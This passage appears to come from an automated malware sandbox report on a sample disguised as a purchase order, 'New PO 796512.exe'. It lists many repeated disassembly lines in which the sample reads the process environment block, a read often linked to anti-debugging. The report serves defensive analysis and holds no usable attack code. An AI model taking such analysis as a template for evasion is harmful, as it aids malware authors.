          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D035C mov eax, dword ptr fs:[00000030h]13_2_013D035C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D035C mov ecx, dword ptr fs:[00000030h]13_2_013D035C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D035C mov eax, dword ptr fs:[00000030h]13_2_013D035C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D035C mov eax, dword ptr fs:[00000030h]13_2_013D035C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F8350 mov ecx, dword ptr fs:[00000030h]13_2_013F8350
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D2349 mov eax, dword ptr fs:[00000030h]13_2_013D2349
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140C3CD mov eax, dword ptr fs:[00000030h]13_2_0140C3CD
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01348397 mov eax, dword ptr fs:[00000030h]13_2_01348397
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01348397 mov eax, dword ptr fs:[00000030h]13_2_01348397
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01348397 mov eax, dword ptr fs:[00000030h]13_2_01348397
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137438F mov eax, dword ptr fs:[00000030h]13_2_0137438F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137438F mov eax, dword ptr fs:[00000030h]13_2_0137438F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134E388 mov eax, dword ptr fs:[00000030h]13_2_0134E388
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134E388 mov eax, dword ptr fs:[00000030h]13_2_0134E388
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134E388 mov eax, dword ptr fs:[00000030h]13_2_0134E388
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E3F0 mov eax, dword ptr fs:[00000030h]13_2_0136E3F0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E3F0 mov eax, dword ptr fs:[00000030h]13_2_0136E3F0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E3F0 mov eax, dword ptr fs:[00000030h]13_2_0136E3F0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013863FF mov eax, dword ptr fs:[00000030h]13_2_013863FF
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013603E9 mov eax, dword ptr fs:[00000030h]13_2_013603E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE3DB mov eax, dword ptr fs:[00000030h]13_2_013FE3DB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE3DB mov eax, dword ptr fs:[00000030h]13_2_013FE3DB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE3DB mov ecx, dword ptr fs:[00000030h]13_2_013FE3DB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FE3DB mov eax, dword ptr fs:[00000030h]13_2_013FE3DB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F43D4 mov eax, dword ptr fs:[00000030h]13_2_013F43D4
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F43D4 mov eax, dword ptr fs:[00000030h]13_2_013F43D4
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A3C0 mov eax, dword ptr fs:[00000030h]13_2_0135A3C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A3C0 mov eax, dword ptr fs:[00000030h]13_2_0135A3C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A3C0 mov eax, dword ptr fs:[00000030h]13_2_0135A3C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A3C0 mov eax, dword ptr fs:[00000030h]13_2_0135A3C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A3C0 mov eax, dword ptr fs:[00000030h]13_2_0135A3C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A3C0 mov eax, dword ptr fs:[00000030h]13_2_0135A3C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013583C0 mov eax, dword ptr fs:[00000030h]13_2_013583C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013583C0 mov eax, dword ptr fs:[00000030h]13_2_013583C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013583C0 mov eax, dword ptr fs:[00000030h]13_2_013583C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013583C0 mov eax, dword ptr fs:[00000030h]13_2_013583C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D63C0 mov eax, dword ptr fs:[00000030h]13_2_013D63C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134823B mov eax, dword ptr fs:[00000030h]13_2_0134823B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140A250 mov eax, dword ptr fs:[00000030h]13_2_0140A250
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140A250 mov eax, dword ptr fs:[00000030h]13_2_0140A250
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400274 mov eax, dword ptr fs:[00000030h]13_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01354260 mov eax, dword ptr fs:[00000030h]13_2_01354260
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01354260 mov eax, dword ptr fs:[00000030h]13_2_01354260
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01354260 mov eax, dword ptr fs:[00000030h]13_2_01354260
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134826B mov eax, dword ptr fs:[00000030h]13_2_0134826B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134A250 mov eax, dword ptr fs:[00000030h]13_2_0134A250
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356259 mov eax, dword ptr fs:[00000030h]13_2_01356259
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D8243 mov eax, dword ptr fs:[00000030h]13_2_013D8243
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D8243 mov ecx, dword ptr fs:[00000030h]13_2_013D8243
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013602A0 mov eax, dword ptr fs:[00000030h]13_2_013602A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013602A0 mov eax, dword ptr fs:[00000030h]13_2_013602A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E62A0 mov eax, dword ptr fs:[00000030h]13_2_013E62A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E62A0 mov ecx, dword ptr fs:[00000030h]13_2_013E62A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E62A0 mov eax, dword ptr fs:[00000030h]13_2_013E62A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E62A0 mov eax, dword ptr fs:[00000030h]13_2_013E62A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E62A0 mov eax, dword ptr fs:[00000030h]13_2_013E62A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E62A0 mov eax, dword ptr fs:[00000030h]13_2_013E62A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E284 mov eax, dword ptr fs:[00000030h]13_2_0138E284
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E284 mov eax, dword ptr fs:[00000030h]13_2_0138E284
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D0283 mov eax, dword ptr fs:[00000030h]13_2_013D0283
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D0283 mov eax, dword ptr fs:[00000030h]13_2_013D0283
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D0283 mov eax, dword ptr fs:[00000030h]13_2_013D0283
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013602E1 mov eax, dword ptr fs:[00000030h]13_2_013602E1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013602E1 mov eax, dword ptr fs:[00000030h]13_2_013602E1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013602E1 mov eax, dword ptr fs:[00000030h]13_2_013602E1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A2C3 mov eax, dword ptr fs:[00000030h]13_2_0135A2C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A2C3 mov eax, dword ptr fs:[00000030h]13_2_0135A2C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A2C3 mov eax, dword ptr fs:[00000030h]13_2_0135A2C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A2C3 mov eax, dword ptr fs:[00000030h]13_2_0135A2C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A2C3 mov eax, dword ptr fs:[00000030h]13_2_0135A2C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360535 mov eax, dword ptr fs:[00000030h]13_2_01360535
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360535 mov eax, dword ptr fs:[00000030h]13_2_01360535
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360535 mov eax, dword ptr fs:[00000030h]13_2_01360535
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360535 mov eax, dword ptr fs:[00000030h]13_2_01360535
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360535 mov eax, dword ptr fs:[00000030h]13_2_01360535
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360535 mov eax, dword ptr fs:[00000030h]13_2_01360535
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E53E mov eax, dword ptr fs:[00000030h]13_2_0137E53E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E53E mov eax, dword ptr fs:[00000030h]13_2_0137E53E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E53E mov eax, dword ptr fs:[00000030h]13_2_0137E53E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E53E mov eax, dword ptr fs:[00000030h]13_2_0137E53E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E53E mov eax, dword ptr fs:[00000030h]13_2_0137E53E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E6500 mov eax, dword ptr fs:[00000030h]13_2_013E6500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424500 mov eax, dword ptr fs:[00000030h]13_2_01424500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424500 mov eax, dword ptr fs:[00000030h]13_2_01424500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424500 mov eax, dword ptr fs:[00000030h]13_2_01424500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424500 mov eax, dword ptr fs:[00000030h]13_2_01424500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424500 mov eax, dword ptr fs:[00000030h]13_2_01424500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424500 mov eax, dword ptr fs:[00000030h]13_2_01424500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424500 mov eax, dword ptr fs:[00000030h]13_2_01424500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138656A mov eax, dword ptr fs:[00000030h]13_2_0138656A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138656A mov eax, dword ptr fs:[00000030h]13_2_0138656A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138656A mov eax, dword ptr fs:[00000030h]13_2_0138656A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358550 mov eax, dword ptr fs:[00000030h]13_2_01358550
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358550 mov eax, dword ptr fs:[00000030h]13_2_01358550
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013745B1 mov eax, dword ptr fs:[00000030h]13_2_013745B1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013745B1 mov eax, dword ptr fs:[00000030h]13_2_013745B1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D05A7 mov eax, dword ptr fs:[00000030h]13_2_013D05A7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D05A7 mov eax, dword ptr fs:[00000030h]13_2_013D05A7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D05A7 mov eax, dword ptr fs:[00000030h]13_2_013D05A7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E59C mov eax, dword ptr fs:[00000030h]13_2_0138E59C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01384588 mov eax, dword ptr fs:[00000030h]13_2_01384588
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01352582 mov eax, dword ptr fs:[00000030h]13_2_01352582
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01352582 mov ecx, dword ptr fs:[00000030h]13_2_01352582
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E5E7 mov eax, dword ptr fs:[00000030h]13_2_0137E5E7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013525E0 mov eax, dword ptr fs:[00000030h]13_2_013525E0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C5ED mov eax, dword ptr fs:[00000030h]13_2_0138C5ED
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C5ED mov eax, dword ptr fs:[00000030h]13_2_0138C5ED
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013565D0 mov eax, dword ptr fs:[00000030h]13_2_013565D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A5D0 mov eax, dword ptr fs:[00000030h]13_2_0138A5D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A5D0 mov eax, dword ptr fs:[00000030h]13_2_0138A5D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E5CF mov eax, dword ptr fs:[00000030h]13_2_0138E5CF
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E5CF mov eax, dword ptr fs:[00000030h]13_2_0138E5CF
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A430 mov eax, dword ptr fs:[00000030h]13_2_0138A430
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134C427 mov eax, dword ptr fs:[00000030h]13_2_0134C427
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134E420 mov eax, dword ptr fs:[00000030h]13_2_0134E420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134E420 mov eax, dword ptr fs:[00000030h]13_2_0134E420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134E420 mov eax, dword ptr fs:[00000030h]13_2_0134E420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140A456 mov eax, dword ptr fs:[00000030h]13_2_0140A456
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6420 mov eax, dword ptr fs:[00000030h]13_2_013D6420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6420 mov eax, dword ptr fs:[00000030h]13_2_013D6420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6420 mov eax, dword ptr fs:[00000030h]13_2_013D6420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6420 mov eax, dword ptr fs:[00000030h]13_2_013D6420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6420 mov eax, dword ptr fs:[00000030h]13_2_013D6420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6420 mov eax, dword ptr fs:[00000030h]13_2_013D6420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D6420 mov eax, dword ptr fs:[00000030h]13_2_013D6420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01388402 mov eax, dword ptr fs:[00000030h]13_2_01388402
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01388402 mov eax, dword ptr fs:[00000030h]13_2_01388402
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01388402 mov eax, dword ptr fs:[00000030h]13_2_01388402
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137A470 mov eax, dword ptr fs:[00000030h]13_2_0137A470
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137A470 mov eax, dword ptr fs:[00000030h]13_2_0137A470
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137A470 mov eax, dword ptr fs:[00000030h]13_2_0137A470
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DC460 mov ecx, dword ptr fs:[00000030h]13_2_013DC460
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134645D mov eax, dword ptr fs:[00000030h]13_2_0134645D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137245A mov eax, dword ptr fs:[00000030h]13_2_0137245A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E443 mov eax, dword ptr fs:[00000030h]13_2_0138E443
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013844B0 mov ecx, dword ptr fs:[00000030h]13_2_013844B0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DA4B0 mov eax, dword ptr fs:[00000030h]13_2_013DA4B0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013564AB mov eax, dword ptr fs:[00000030h]13_2_013564AB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013504E5 mov ecx, dword ptr fs:[00000030h]13_2_013504E5
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140A49A mov eax, dword ptr fs:[00000030h]13_2_0140A49A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138273C mov eax, dword ptr fs:[00000030h]13_2_0138273C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138273C mov ecx, dword ptr fs:[00000030h]13_2_0138273C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138273C mov eax, dword ptr fs:[00000030h]13_2_0138273C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CC730 mov eax, dword ptr fs:[00000030h]13_2_013CC730
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C720 mov eax, dword ptr fs:[00000030h]13_2_0138C720
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C720 mov eax, dword ptr fs:[00000030h]13_2_0138C720
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350710 mov eax, dword ptr fs:[00000030h]13_2_01350710
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01380710 mov eax, dword ptr fs:[00000030h]13_2_01380710
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C700 mov eax, dword ptr fs:[00000030h]13_2_0138C700
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358770 mov eax, dword ptr fs:[00000030h]13_2_01358770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360770 mov eax, dword ptr fs:[00000030h]13_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DE75D mov eax, dword ptr fs:[00000030h]13_2_013DE75D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350750 mov eax, dword ptr fs:[00000030h]13_2_01350750
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D4755 mov eax, dword ptr fs:[00000030h]13_2_013D4755
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392750 mov eax, dword ptr fs:[00000030h]13_2_01392750
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392750 mov eax, dword ptr fs:[00000030h]13_2_01392750
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138674D mov esi, dword ptr fs:[00000030h]13_2_0138674D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138674D mov eax, dword ptr fs:[00000030h]13_2_0138674D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138674D mov eax, dword ptr fs:[00000030h]13_2_0138674D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013507AF mov eax, dword ptr fs:[00000030h]13_2_013507AF
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F678E mov eax, dword ptr fs:[00000030h]13_2_013F678E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013547FB mov eax, dword ptr fs:[00000030h]13_2_013547FB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013547FB mov eax, dword ptr fs:[00000030h]13_2_013547FB
